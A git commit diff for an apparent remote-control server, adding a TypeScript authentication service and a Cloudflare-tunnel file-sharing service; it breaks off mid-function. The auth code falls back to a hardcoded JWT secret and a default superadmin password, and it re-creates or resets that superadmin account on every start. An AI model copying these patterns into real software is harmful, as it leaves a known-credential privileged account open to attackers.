111
This commit is contained in:
2405
src/services/APKBuildService.ts
Normal file
2405
src/services/APKBuildService.ts
Normal file
File diff suppressed because it is too large
Load Diff
691
src/services/AuthService.ts
Normal file
691
src/services/AuthService.ts
Normal file
@@ -0,0 +1,691 @@
|
||||
// 确保环境变量已加载(如果还没有加载)
|
||||
import dotenv from 'dotenv'
|
||||
import jwt from 'jsonwebtoken'
|
||||
import bcrypt from 'bcryptjs'
|
||||
import path from 'path'
|
||||
|
||||
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const envPath = (process as any).pkg
|
||||
? path.join(path.dirname(process.execPath), '.env')
|
||||
: path.join(process.cwd(), '.env')
|
||||
|
||||
dotenv.config({ path: envPath })
|
||||
import fs from 'fs'
|
||||
import crypto from 'crypto'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 用户角色类型
|
||||
*/
|
||||
export type UserRole = 'admin' | 'superadmin'
|
||||
|
||||
/**
|
||||
* 用户信息接口
|
||||
*/
|
||||
export interface User {
|
||||
id: string
|
||||
username: string
|
||||
passwordHash: string
|
||||
role?: UserRole // 用户角色,默认为'admin','superadmin'为超级管理员
|
||||
createdAt: Date
|
||||
lastLoginAt?: Date
|
||||
}
|
||||
|
||||
/**
|
||||
* 登录结果接口
|
||||
*/
|
||||
export interface LoginResult {
|
||||
success: boolean
|
||||
message?: string
|
||||
token?: string
|
||||
user?: {
|
||||
id: string
|
||||
username: string
|
||||
role?: UserRole
|
||||
lastLoginAt?: Date
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Token验证结果接口
|
||||
*/
|
||||
export interface TokenVerifyResult {
|
||||
valid: boolean
|
||||
user?: {
|
||||
id: string
|
||||
username: string
|
||||
role?: UserRole
|
||||
}
|
||||
error?: string
|
||||
}
|
||||
|
||||
/**
|
||||
* 认证服务
|
||||
*/
|
||||
export class AuthService {
|
||||
private logger: Logger
|
||||
private readonly JWT_SECRET: string
|
||||
private readonly JWT_EXPIRES_IN: string
|
||||
private readonly DEFAULT_USERNAME: string
|
||||
private readonly DEFAULT_PASSWORD: string
|
||||
private users: Map<string, User> = new Map()
|
||||
private readonly INIT_LOCK_FILE: string
|
||||
private readonly USER_DATA_FILE: string
|
||||
private readonly SUPERADMIN_USERNAME: string
|
||||
private readonly SUPERADMIN_PASSWORD: string
|
||||
|
||||
constructor() {
|
||||
this.logger = new Logger('AuthService')
|
||||
|
||||
// 确保环境变量已加载(双重保险)
|
||||
// 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载
|
||||
|
||||
// 从环境变量获取配置,如果没有则使用默认值
|
||||
this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82'
|
||||
this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h'
|
||||
this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || ''
|
||||
this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || ''
|
||||
|
||||
// 超级管理员账号配置(从环境变量获取,如果没有则使用默认值)
|
||||
this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin'
|
||||
this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456'
|
||||
|
||||
// 调试日志:显示加载的环境变量(不显示敏感信息)
|
||||
const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined
|
||||
this.logger.info(`环境变量加载状态:`)
|
||||
this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`)
|
||||
this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`)
|
||||
this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`)
|
||||
|
||||
// 设置初始化锁文件路径(pkg 打包后,从可执行文件所在目录)
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const basePath = (process as any).pkg
|
||||
? path.dirname(process.execPath)
|
||||
: process.cwd()
|
||||
|
||||
this.INIT_LOCK_FILE = path.join(basePath, '.system_initialized')
|
||||
// 设置用户数据文件路径
|
||||
this.USER_DATA_FILE = path.join(basePath, '.user_data.json')
|
||||
|
||||
this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`)
|
||||
|
||||
// 注意:异步初始化在 initialize() 方法中执行
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化认证服务(异步)
|
||||
* 必须在创建 AuthService 实例后调用此方法
|
||||
*/
|
||||
async initialize(): Promise<void> {
|
||||
try {
|
||||
this.logger.info('开始初始化认证服务...')
|
||||
|
||||
// 先初始化或恢复用户数据
|
||||
await this.initializeOrRestoreUsers()
|
||||
|
||||
// 然后初始化超级管理员
|
||||
await this.initializeSuperAdmin()
|
||||
|
||||
this.logger.info('认证服务初始化完成')
|
||||
} catch (error) {
|
||||
this.logger.error('认证服务初始化失败:', error)
|
||||
// 即使初始化失败,也尝试创建超级管理员作为备用
|
||||
try {
|
||||
await this.initializeSuperAdmin()
|
||||
} catch (superAdminError) {
|
||||
this.logger.error('创建超级管理员失败:', superAdminError)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化或恢复用户数据
|
||||
*/
|
||||
private async initializeOrRestoreUsers(): Promise<void> {
|
||||
try {
|
||||
if (this.isInitialized()) {
|
||||
// 系统已初始化,从文件恢复用户数据
|
||||
await this.loadUsersFromFile()
|
||||
this.logger.info('用户数据已从文件恢复')
|
||||
} else {
|
||||
// 系统未初始化,创建默认用户
|
||||
await this.initializeDefaultUser()
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('初始化或恢复用户数据失败:', error)
|
||||
// 如果恢复失败,尝试创建默认用户作为备用
|
||||
await this.initializeDefaultUser()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化默认管理员用户
|
||||
*/
|
||||
private async initializeDefaultUser(): Promise<void> {
|
||||
try {
|
||||
const passwordHash = await bcrypt.hash(this.DEFAULT_PASSWORD, 10)
|
||||
const defaultUser: User = {
|
||||
id: 'admin',
|
||||
username: this.DEFAULT_USERNAME,
|
||||
passwordHash,
|
||||
role: 'admin',
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(this.DEFAULT_USERNAME, defaultUser)
|
||||
this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`)
|
||||
} catch (error) {
|
||||
this.logger.error('初始化默认用户失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化超级管理员账号
|
||||
*/
|
||||
private async initializeSuperAdmin(): Promise<void> {
|
||||
try {
|
||||
// 如果超级管理员已存在,检查是否需要更新
|
||||
if (this.users.has(this.SUPERADMIN_USERNAME)) {
|
||||
const existingUser = this.users.get(this.SUPERADMIN_USERNAME)!
|
||||
let needsUpdate = false
|
||||
|
||||
// 如果现有用户不是超级管理员,更新为超级管理员
|
||||
if (existingUser.role !== 'superadmin') {
|
||||
existingUser.role = 'superadmin'
|
||||
needsUpdate = true
|
||||
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`)
|
||||
}
|
||||
|
||||
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
|
||||
if (this.SUPERADMIN_PASSWORD) {
|
||||
const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash)
|
||||
if (!isCurrentPassword) {
|
||||
// 环境变量中的密码与当前密码不同,更新密码
|
||||
existingUser.passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10)
|
||||
needsUpdate = true
|
||||
this.logger.info(`超级管理员密码已更新(从.env文件加载新密码)`)
|
||||
} else {
|
||||
this.logger.debug(`超级管理员密码与.env配置一致,无需更新`)
|
||||
}
|
||||
}
|
||||
|
||||
if (needsUpdate) {
|
||||
this.users.set(this.SUPERADMIN_USERNAME, existingUser)
|
||||
await this.saveUsersToFile()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 创建超级管理员账号
|
||||
const passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10)
|
||||
const superAdminUser: User = {
|
||||
id: 'superadmin',
|
||||
username: this.SUPERADMIN_USERNAME,
|
||||
passwordHash,
|
||||
role: 'superadmin',
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(this.SUPERADMIN_USERNAME, superAdminUser)
|
||||
this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存超级管理员数据失败:', saveError)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('初始化超级管理员失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存用户数据到文件
|
||||
*/
|
||||
private async saveUsersToFile(): Promise<void> {
|
||||
try {
|
||||
const usersData = Array.from(this.users.values())
|
||||
const data = {
|
||||
version: '1.0.0',
|
||||
savedAt: new Date().toISOString(),
|
||||
users: usersData
|
||||
}
|
||||
|
||||
fs.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2))
|
||||
this.logger.debug('用户数据已保存到文件')
|
||||
} catch (error) {
|
||||
this.logger.error('保存用户数据失败:', error)
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 从文件加载用户数据
|
||||
*/
|
||||
private async loadUsersFromFile(): Promise<void> {
|
||||
try {
|
||||
if (!fs.existsSync(this.USER_DATA_FILE)) {
|
||||
this.logger.warn('用户数据文件不存在,将创建空用户列表')
|
||||
return
|
||||
}
|
||||
|
||||
const fileContent = fs.readFileSync(this.USER_DATA_FILE, 'utf8')
|
||||
const data = JSON.parse(fileContent)
|
||||
|
||||
this.users.clear()
|
||||
|
||||
if (data.users && Array.isArray(data.users)) {
|
||||
for (const userData of data.users) {
|
||||
// 恢复Date对象
|
||||
const user: User = {
|
||||
...userData,
|
||||
role: userData.role || 'admin', // 兼容旧数据,默认为admin
|
||||
createdAt: new Date(userData.createdAt),
|
||||
lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined
|
||||
}
|
||||
this.users.set(user.username, user)
|
||||
}
|
||||
this.logger.info(`已加载 ${data.users.length} 个用户`)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('加载用户数据失败:', error)
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 用户登录
|
||||
*/
|
||||
async login(username: string, password: string): Promise<LoginResult> {
|
||||
try {
|
||||
this.logger.info(`用户登录尝试: ${username}`)
|
||||
|
||||
// 查找用户
|
||||
const user = this.users.get(username)
|
||||
if (!user) {
|
||||
this.logger.warn(`用户不存在: ${username}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
}
|
||||
}
|
||||
|
||||
// 验证密码
|
||||
const isPasswordValid = await bcrypt.compare(password, user.passwordHash)
|
||||
if (!isPasswordValid) {
|
||||
this.logger.warn(`密码错误: ${username}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
}
|
||||
}
|
||||
|
||||
// 更新最后登录时间
|
||||
user.lastLoginAt = new Date()
|
||||
|
||||
// 保存用户数据到文件(异步但不影响登录流程)
|
||||
this.saveUsersToFile().catch(saveError => {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
})
|
||||
|
||||
// 生成JWT token(包含用户角色信息)
|
||||
const token = jwt.sign(
|
||||
{
|
||||
userId: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin' // 包含用户角色
|
||||
},
|
||||
this.JWT_SECRET,
|
||||
{
|
||||
expiresIn: this.JWT_EXPIRES_IN,
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
} as jwt.SignOptions
|
||||
)
|
||||
|
||||
this.logger.info(`用户登录成功: ${username}`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: '登录成功',
|
||||
token,
|
||||
user: {
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('登录过程发生错误:', error)
|
||||
return {
|
||||
success: false,
|
||||
message: '登录失败,请稍后重试'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证JWT token
|
||||
*/
|
||||
verifyToken(token: string): TokenVerifyResult {
|
||||
try {
|
||||
const decoded = jwt.verify(token, this.JWT_SECRET, {
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
}) as any
|
||||
|
||||
const user = this.users.get(decoded.username)
|
||||
if (!user) {
|
||||
return {
|
||||
valid: false,
|
||||
error: '用户不存在'
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
valid: true,
|
||||
user: {
|
||||
id: decoded.userId,
|
||||
username: decoded.username,
|
||||
role: user.role || 'admin' // 返回用户角色
|
||||
}
|
||||
}
|
||||
|
||||
} catch (error: any) {
|
||||
this.logger.warn('Token验证失败:', error.message)
|
||||
|
||||
if (error.name === 'TokenExpiredError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token已过期'
|
||||
}
|
||||
} else if (error.name === 'JsonWebTokenError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token无效'
|
||||
}
|
||||
} else {
|
||||
return {
|
||||
valid: false,
|
||||
error: '验证失败'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取用户信息
|
||||
*/
|
||||
getUserByUsername(username: string): User | undefined {
|
||||
return this.users.get(username)
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建新用户(用于扩展功能)
|
||||
*/
|
||||
async createUser(username: string, password: string): Promise<boolean> {
|
||||
try {
|
||||
if (this.users.has(username)) {
|
||||
this.logger.warn(`用户已存在: ${username}`)
|
||||
return false
|
||||
}
|
||||
|
||||
const passwordHash = await bcrypt.hash(password, 10)
|
||||
const user: User = {
|
||||
id: `user_${Date.now()}`,
|
||||
username,
|
||||
passwordHash,
|
||||
role: 'admin', // 新创建的用户默认为普通管理员
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(username, user)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
}
|
||||
|
||||
this.logger.info(`新用户已创建: ${username}`)
|
||||
return true
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('创建用户失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 更改用户密码(用于扩展功能)
|
||||
*/
|
||||
async changePassword(username: string, oldPassword: string, newPassword: string): Promise<boolean> {
|
||||
try {
|
||||
const user = this.users.get(username)
|
||||
if (!user) {
|
||||
return false
|
||||
}
|
||||
|
||||
const isOldPasswordValid = await bcrypt.compare(oldPassword, user.passwordHash)
|
||||
if (!isOldPasswordValid) {
|
||||
return false
|
||||
}
|
||||
|
||||
const newPasswordHash = await bcrypt.hash(newPassword, 10)
|
||||
user.passwordHash = newPasswordHash
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
}
|
||||
|
||||
this.logger.info(`用户密码已更改: ${username}`)
|
||||
return true
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('更改密码失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有用户(用于管理功能)
|
||||
*/
|
||||
getAllUsers(): Array<{id: string, username: string, role: UserRole, createdAt: Date, lastLoginAt?: Date}> {
|
||||
return Array.from(this.users.values()).map(user => ({
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
createdAt: user.createdAt,
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}))
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查用户是否为超级管理员
|
||||
*/
|
||||
isSuperAdmin(username: string): boolean {
|
||||
const user = this.users.get(username)
|
||||
return user?.role === 'superadmin'
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取超级管理员用户名
|
||||
*/
|
||||
getSuperAdminUsername(): string {
|
||||
return this.SUPERADMIN_USERNAME
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查系统是否已初始化(通过检查锁文件)
|
||||
*/
|
||||
isInitialized(): boolean {
|
||||
try {
|
||||
return fs.existsSync(this.INIT_LOCK_FILE)
|
||||
} catch (error) {
|
||||
this.logger.error('检查初始化锁文件失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取初始化锁文件路径
|
||||
*/
|
||||
getInitLockFilePath(): string {
|
||||
return this.INIT_LOCK_FILE
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成唯一标识符
|
||||
*/
|
||||
private generateUniqueId(): string {
|
||||
// 生成32字节的随机字符串,转换为64字符的十六进制字符串
|
||||
return crypto.randomBytes(32).toString('hex')
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取初始化信息(如果已初始化)
|
||||
*/
|
||||
getInitializationInfo(): any {
|
||||
try {
|
||||
if (!this.isInitialized()) {
|
||||
return null
|
||||
}
|
||||
|
||||
const content = fs.readFileSync(this.INIT_LOCK_FILE, 'utf8')
|
||||
const info = JSON.parse(content)
|
||||
|
||||
// 如果旧版本没有唯一标识符,生成一个并更新
|
||||
if (!info.uniqueId) {
|
||||
info.uniqueId = this.generateUniqueId()
|
||||
try {
|
||||
fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2))
|
||||
this.logger.info('已为已初始化的系统生成唯一标识符')
|
||||
} catch (error) {
|
||||
this.logger.error('更新唯一标识符失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
} catch (error) {
|
||||
this.logger.error('读取初始化信息失败:', error)
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取系统唯一标识符
|
||||
*/
|
||||
getSystemUniqueId(): string | null {
|
||||
const initInfo = this.getInitializationInfo()
|
||||
return initInfo?.uniqueId || null
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化系统,设置管理员账号
|
||||
*/
|
||||
async initializeSystem(username: string, password: string): Promise<{
|
||||
success: boolean
|
||||
message: string
|
||||
uniqueId?: string
|
||||
}> {
|
||||
try {
|
||||
// 检查是否已经初始化(通过检查锁文件)
|
||||
if (this.isInitialized()) {
|
||||
return {
|
||||
success: false,
|
||||
message: '系统已经初始化,无法重复初始化'
|
||||
}
|
||||
}
|
||||
|
||||
// 验证输入参数
|
||||
if (!username || username.trim().length < 3) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名至少需要3个字符'
|
||||
}
|
||||
}
|
||||
|
||||
if (!password || password.length < 6) {
|
||||
return {
|
||||
success: false,
|
||||
message: '密码至少需要6个字符'
|
||||
}
|
||||
}
|
||||
|
||||
const trimmedUsername = username.trim()
|
||||
|
||||
// 检查用户名是否已存在
|
||||
if (this.users.has(trimmedUsername)) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名已存在'
|
||||
}
|
||||
}
|
||||
|
||||
// 创建管理员用户
|
||||
const passwordHash = await bcrypt.hash(password, 10)
|
||||
const adminUser: User = {
|
||||
id: 'admin_' + Date.now(),
|
||||
username: trimmedUsername,
|
||||
passwordHash,
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
// 清除默认用户,添加新的管理员用户
|
||||
this.users.clear()
|
||||
this.users.set(trimmedUsername, adminUser)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
this.logger.info('用户数据已保存到文件')
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
// 即使保存失败,也不影响初始化过程,但会记录错误
|
||||
}
|
||||
|
||||
// 生成唯一标识符
|
||||
const uniqueId = this.generateUniqueId()
|
||||
this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
||||
|
||||
// 创建初始化锁文件
|
||||
try {
|
||||
const initInfo = {
|
||||
initializedAt: new Date().toISOString(),
|
||||
adminUsername: trimmedUsername,
|
||||
version: '1.0.0',
|
||||
uniqueId: uniqueId // 系统唯一标识符
|
||||
}
|
||||
fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2))
|
||||
this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`)
|
||||
} catch (lockError) {
|
||||
this.logger.error('创建初始化锁文件失败:', lockError)
|
||||
// 即使锁文件创建失败,也不影响初始化过程
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: '系统初始化成功',
|
||||
uniqueId: uniqueId // 返回系统唯一标识符
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('系统初始化失败:', error)
|
||||
return {
|
||||
success: false,
|
||||
message: '系统初始化失败,请稍后重试'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default AuthService
|
||||
506
src/services/CloudflareShareService.ts
Normal file
506
src/services/CloudflareShareService.ts
Normal file
@@ -0,0 +1,506 @@
|
||||
import { spawn, ChildProcess } from 'child_process'
|
||||
import fs from 'fs'
|
||||
import path from 'path'
|
||||
import http from 'http'
|
||||
import express from 'express'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* Cloudflare文件分享服务
|
||||
* 用于生成临时文件分享链接,有效期10分钟
|
||||
*/
|
||||
export class CloudflareShareService {
|
||||
private logger: Logger
|
||||
private activeShares: Map<string, ShareSession> = new Map()
|
||||
private cleanupInterval: NodeJS.Timeout
|
||||
|
||||
constructor() {
|
||||
this.logger = new Logger('CloudflareShare')
|
||||
|
||||
// 每分钟清理过期的分享会话
|
||||
this.cleanupInterval = setInterval(() => {
|
||||
this.cleanupExpiredShares()
|
||||
}, 60 * 1000)
|
||||
}
|
||||
|
||||
/**
|
||||
* 为文件创建临时分享链接
|
||||
* @param filePath 文件路径
|
||||
* @param filename 文件名
|
||||
* @param durationMinutes 有效期(分钟),默认10分钟
|
||||
* @returns 分享链接信息
|
||||
*/
|
||||
async createShareLink(
|
||||
filePath: string,
|
||||
filename: string,
|
||||
durationMinutes: number = 10
|
||||
): Promise<ShareResult> {
|
||||
try {
|
||||
// 检查文件是否存在
|
||||
if (!fs.existsSync(filePath)) {
|
||||
throw new Error(`文件不存在: ${filePath}`)
|
||||
}
|
||||
|
||||
// 检查cloudflared是否存在
|
||||
const cloudflaredPath = await this.findCloudflared()
|
||||
if (!cloudflaredPath) {
|
||||
throw new Error('cloudflared 未找到,请先安装 cloudflared')
|
||||
}
|
||||
|
||||
// 生成会话ID
|
||||
const sessionId = this.generateSessionId()
|
||||
|
||||
// 创建临时服务器
|
||||
const port = await this.findAvailablePort(8080)
|
||||
const server = await this.createFileServer(filePath, filename, port)
|
||||
|
||||
// 启动cloudflared隧道
|
||||
const tunnelProcess = await this.startCloudflaredTunnel(cloudflaredPath, port)
|
||||
const tunnelUrl = await this.extractTunnelUrl(tunnelProcess)
|
||||
|
||||
// 创建分享会话
|
||||
const expiresAt = new Date(Date.now() + durationMinutes * 60 * 1000)
|
||||
const shareSession: ShareSession = {
|
||||
sessionId,
|
||||
filePath,
|
||||
filename,
|
||||
port,
|
||||
server,
|
||||
tunnelProcess,
|
||||
tunnelUrl,
|
||||
createdAt: new Date(),
|
||||
expiresAt
|
||||
}
|
||||
|
||||
this.activeShares.set(sessionId, shareSession)
|
||||
|
||||
this.logger.info(`创建分享链接成功: ${tunnelUrl} (有效期: ${durationMinutes}分钟)`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
sessionId,
|
||||
shareUrl: tunnelUrl,
|
||||
filename,
|
||||
expiresAt: expiresAt.toISOString(),
|
||||
durationMinutes
|
||||
}
|
||||
} catch (error: any) {
|
||||
const errorMessage = error.message || error.toString() || '未知错误'
|
||||
this.logger.error('创建分享链接失败:', errorMessage)
|
||||
this.logger.error('错误详情:', error)
|
||||
return {
|
||||
success: false,
|
||||
error: errorMessage
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 停止分享会话
|
||||
*/
|
||||
async stopShare(sessionId: string): Promise<boolean> {
|
||||
const session = this.activeShares.get(sessionId)
|
||||
if (!session) {
|
||||
return false
|
||||
}
|
||||
|
||||
try {
|
||||
// 关闭服务器
|
||||
if (session.server) {
|
||||
session.server.close()
|
||||
}
|
||||
|
||||
// 终止cloudflared进程
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGTERM')
|
||||
|
||||
// 如果进程没有正常退出,强制杀死
|
||||
setTimeout(() => {
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGKILL')
|
||||
}
|
||||
}, 5000)
|
||||
}
|
||||
|
||||
this.activeShares.delete(sessionId)
|
||||
this.logger.info(`停止分享会话: ${sessionId}`)
|
||||
return true
|
||||
} catch (error: any) {
|
||||
this.logger.error(`停止分享会话失败: ${sessionId}`, error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取活动分享会话列表
|
||||
*/
|
||||
getActiveShares(): ShareInfo[] {
|
||||
const shares: ShareInfo[] = []
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
shares.push({
|
||||
sessionId,
|
||||
filename: session.filename,
|
||||
shareUrl: session.tunnelUrl,
|
||||
createdAt: session.createdAt.toISOString(),
|
||||
expiresAt: session.expiresAt.toISOString(),
|
||||
isExpired: Date.now() > session.expiresAt.getTime()
|
||||
})
|
||||
}
|
||||
return shares
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理过期的分享会话
|
||||
*/
|
||||
private cleanupExpiredShares(): void {
|
||||
const now = Date.now()
|
||||
const expiredSessions: string[] = []
|
||||
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
if (now > session.expiresAt.getTime()) {
|
||||
expiredSessions.push(sessionId)
|
||||
}
|
||||
}
|
||||
|
||||
for (const sessionId of expiredSessions) {
|
||||
this.stopShare(sessionId)
|
||||
this.logger.info(`自动清理过期分享会话: ${sessionId}`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找cloudflared可执行文件
|
||||
*/
|
||||
private async findCloudflared(): Promise<string | null> {
|
||||
// 相对于项目根目录的路径
|
||||
const projectRoot = path.resolve(process.cwd(), '..')
|
||||
|
||||
const possiblePaths = [
|
||||
path.join(projectRoot, 'cloudflared'), // 项目根目录
|
||||
'./cloudflared', // 当前目录
|
||||
path.join(process.cwd(), 'cloudflared'), // 完整路径
|
||||
'/usr/local/bin/cloudflared', // 系统安装路径
|
||||
'/usr/bin/cloudflared',
|
||||
'./bin/cloudflared'
|
||||
]
|
||||
|
||||
this.logger.info(`查找cloudflared,项目根目录: ${projectRoot}`)
|
||||
|
||||
for (const cloudflaredPath of possiblePaths) {
|
||||
this.logger.debug(`检查路径: ${cloudflaredPath}`)
|
||||
if (fs.existsSync(cloudflaredPath)) {
|
||||
this.logger.info(`找到cloudflared: ${cloudflaredPath}`)
|
||||
return cloudflaredPath
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试从PATH中查找
|
||||
return new Promise((resolve) => {
|
||||
const which = spawn('which', ['cloudflared'])
|
||||
let output = ''
|
||||
let errorOutput = ''
|
||||
|
||||
which.stdout.on('data', (data) => {
|
||||
output += data.toString()
|
||||
})
|
||||
|
||||
which.stderr.on('data', (data) => {
|
||||
errorOutput += data.toString()
|
||||
})
|
||||
|
||||
which.on('close', (code) => {
|
||||
if (code === 0 && output.trim()) {
|
||||
this.logger.info(`在PATH中找到cloudflared: ${output.trim()}`)
|
||||
resolve(output.trim())
|
||||
} else {
|
||||
this.logger.warn(`在PATH中未找到cloudflared,退出代码: ${code},错误: ${errorOutput}`)
|
||||
resolve(null)
|
||||
}
|
||||
})
|
||||
|
||||
which.on('error', (error) => {
|
||||
this.logger.error('执行which命令失败:', error)
|
||||
resolve(null)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找可用端口
|
||||
*/
|
||||
private async findAvailablePort(startPort: number): Promise<number> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = http.createServer()
|
||||
|
||||
server.listen(startPort, () => {
|
||||
const port = (server.address() as any)?.port
|
||||
server.close(() => {
|
||||
resolve(port)
|
||||
})
|
||||
})
|
||||
|
||||
server.on('error', () => {
|
||||
// 端口被占用,尝试下一个
|
||||
this.findAvailablePort(startPort + 1).then(resolve).catch(reject)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建文件服务器
|
||||
*/
|
||||
private async createFileServer(filePath: string, filename: string, port: number): Promise<http.Server> {
|
||||
const app = express()
|
||||
|
||||
// 文件下载页面
|
||||
app.get('/', (req, res) => {
|
||||
const fileStats = fs.statSync(filePath)
|
||||
const fileSize = this.formatFileSize(fileStats.size)
|
